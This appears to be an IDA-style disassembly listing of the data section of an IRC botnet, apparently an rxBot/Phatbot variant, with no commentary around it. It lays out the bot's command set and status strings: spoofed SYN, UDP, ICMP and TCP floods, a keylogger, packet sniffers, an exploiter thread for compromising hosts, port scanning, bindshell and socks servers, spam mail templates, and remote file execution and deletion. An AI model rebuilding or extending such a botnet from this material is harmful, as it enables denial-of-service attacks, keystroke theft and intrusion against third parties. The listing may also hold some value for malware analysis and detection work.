aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Fo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5398o
unk_42B08C	db  2Dh	; -		; DATA XREF: sub_401ACD+52FDo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52EDo
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D6o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+5260o
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Do
unk_42B0D4	db  2Dh	; -		; DATA XREF: sub_401ACD+51FEo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+518Ao
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Fo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5088o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5071o
		align 4
aP:					; DATA XREF: sub_401ACD+505Ao
					; ___:00438308o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5043o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Co
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5015o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFEo
aU:					; DATA XREF: sub_401ACD+4FE7o
					; ___:00438300o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FD0o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB9o
		align 4
aAdv		db 'adv',0              ; DATA XREF: sub_401ACD+4FA2o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Bo
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F74o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Do
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F37o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F20o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F09o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF2o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDBo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC4o
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EADo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E96o
		align 10h
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Fo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E68o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E51o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E3Ao
		align 4
dword_42B214	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Do
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42B250	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBEo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Bo
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D24o
					; sub_401ACD+52BEo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Do
		align 4
unk_42B298	db  2Dh	; -		; DATA XREF: sub_401ACD+4D00o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C29o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C12o
					; sub_412B09:loc_412C35o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFBo
					; sub_412B09:loc_412C19o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE4o
					; sub_412B09+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCDo
					; ___:00438338o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB6o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Do
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B76o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Fo
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B48o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B31o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B1Ao
		align 4
aE:					; DATA XREF: sub_401ACD+4B03o
					; ___:004382F0o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AECo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD5o
		align 4
aJpDe10		db 'jp]de10',0          ; DATA XREF: sub_401ACD+4ABEo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA7o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A90o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A79o
		align 10h
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A62o
					; sub_401ACD+6BE8o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Bo
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A34o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Do
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A06o
		align 10h
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EFo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D8o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C1o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49AAo
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4993o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Co
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4965o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Eo
		align 10h
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4937o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+4920o
		align 4
aM:					; DATA XREF: sub_401ACD+4909o
					; ___:00438348o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DBo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C4o
		align 4
aA:					; DATA XREF: sub_401ACD+48ADo
					; ___:0043830Co
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4896o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4868o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4851o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+483Ao
		align 10h
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4823o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Co
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E3o
		align 10h
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CEo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B9o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A4o
unk_42B424	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406266o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B440	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Fo
					; sub_409B13+5F0o
		align 4
unk_42B46C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B48C	db  2Dh	; -		; DATA XREF: sub_401ACD+4748o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B4AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406194o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Fo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Bo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4611o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F7o
		align 4
unk_42B514	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B534	db  2Dh	; -		; DATA XREF: sub_401ACD+45E0o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45AAo
		align 10h
unk_42B560	db  2Dh	; -		; DATA XREF: sub_401ACD+4578o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4554o
dword_42B59C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4549o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42B5D8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44DAo
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42B5FC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4458o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42B61C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Fo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42B648	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4438o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F9o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D7o
		align 4
dword_42B694	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E99o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42B6B4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C2o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B6EC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4392o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B720	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4345o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B74C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4335o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4302o
		align 4
unk_42B774	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC4o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B7A4	db  2Dh	; -		; DATA XREF: sub_401ACD+42EDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7E4	db  2Dh	; -		; DATA XREF: sub_401ACD+42BDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B820	db  2Dh	; -		; DATA XREF: sub_401ACD+424Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B850	db  2Dh	; -		; DATA XREF: sub_401ACD+41E7o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41B0o
dword_42B878	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C72o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B8A4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Bo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B8E0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Bo
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B91C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FCo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B94C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4095o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4075o
					; sub_401ACD+41C7o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Eo
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4049o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4034o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Fo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+400Ao
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF5o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FE0o
aV:					; DATA XREF: sub_401ACD+3FCBo
					; ___:0043833Co ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB6o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA1o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Co
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F77o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Do
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F38o
					; sub_401ACD+4645o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F23o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Eo
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF9o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE4o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECFo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EBAo
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA5o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E7Bo
					; ___:0043866Co
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E66o
					; sub_401ACD+590Co ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E51o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Co
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E27o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E12o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFDo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE8o
		align 4
aK:					; DATA XREF: sub_401ACD+3DD3o
					; ___:00438328o ...
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBEo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D94o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Fo
		align 10h
aJ:					; DATA XREF: sub_401ACD+3D55o
					; ___:00438324o ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Bo
					; ___:00438344o ...
		unicode	0, <n>,0
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF7o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 10h
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C93o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C6Ao
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C11o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B44o
dword_42BAA8	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AF0o
					; sub_401ACD+3B27o
		dd 0
dword_42BAC0	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB9o
		dd 1
dword_42BAD8	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A82o
					; sub_401ACD+3B99o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Do
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3998o
					; sub_401ACD+39D4o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Eo
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Fo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3808o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3706o
					; sub_401ACD+3D16o
		align 10h
dword_42BB20	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E9o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42BB48	dd 636364h		; DATA XREF: sub_401ACD+366Co
dword_42BB4C	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Fo
dword_42BB58	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3502o
					; sub_401ACD+3763o ...
dword_42BB60	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E7o
					; sub_40ACB6+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A6o
		align 10h
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3489o
					; sub_401ACD+3579o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3462o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3445o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3423o
					; sub_401ACD+3D6Ao
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3406o
					; sub_401ACD+354Do ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E4o
					; sub_401ACD+3D40o
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C7o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3378o
					; sub_401ACD+48F2o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Bo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Co
		align 10h
dword_42BBD0	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EFo
dword_42BBE4	dd 7463h		; DATA XREF: sub_401ACD+32A0o
dword_42BBE8	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3283o
					; sub_401ACD+38A9o ...
dword_42BBF8	dd 5Fh			; DATA XREF: sub_401ACD+3254o
					; sub_401ACD+32C0o ...
dword_42BBFC	dd 6D70h		; DATA XREF: sub_401ACD+3234o
					; sub_401ACD+487Fo
unk_42BC00	db  2Dh	; -		; DATA XREF: sub_401ACD+3202o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31ABo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3182o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Bo
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3156o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3141o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Co
		align 4
unk_42BC68	db  2Dh	; -		; DATA XREF: sub_401ACD+3121o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42BCA8	db  2Dh	; -		; DATA XREF: sub_401ACD+30AFo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3029o
unk_42BCE0	db  2Dh	; -		; DATA XREF: sub_401ACD+300Fo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF1o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCDo
		align 4
unk_42BD4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A41o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A23o
					; sub_401ACD+3F62o
unk_42BD88	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42BDB4	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 10h
dword_42BDE0	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Eo
unk_42BDF0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 10h
dword_42BEA0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Co
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BEDC	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD2o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCCo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC5o
		align 10h
unk_42BF10	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Eo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BF50	db  2Dh	; -		; DATA XREF: sub_401ACD+2CCAo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BF7C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C48o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BFB8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD9o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BFE0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B26o
dword_42BFF0	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B21o
dword_42BFFC	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Eo
dword_42C00C	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B09o
dword_42C01C	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A96o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404556o
					; sub_401ACD:loc_409779o ...
		align 10h
dword_42C050	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A74o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404534o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Eo
					; sub_401ACD+7A7Fo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Fo
		align 10h
unk_42C0A0	db  2Dh	; -		; DATA XREF: sub_401ACD+2A18o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42C0CC	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D9o
		dd 2E7325h
unk_42C0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+29CAo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 10h
dword_42C120	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Bo
		dd 65726874h, 2E736461h, 0
dword_42C140	dd 627573h		; DATA XREF: sub_401ACD+2935o
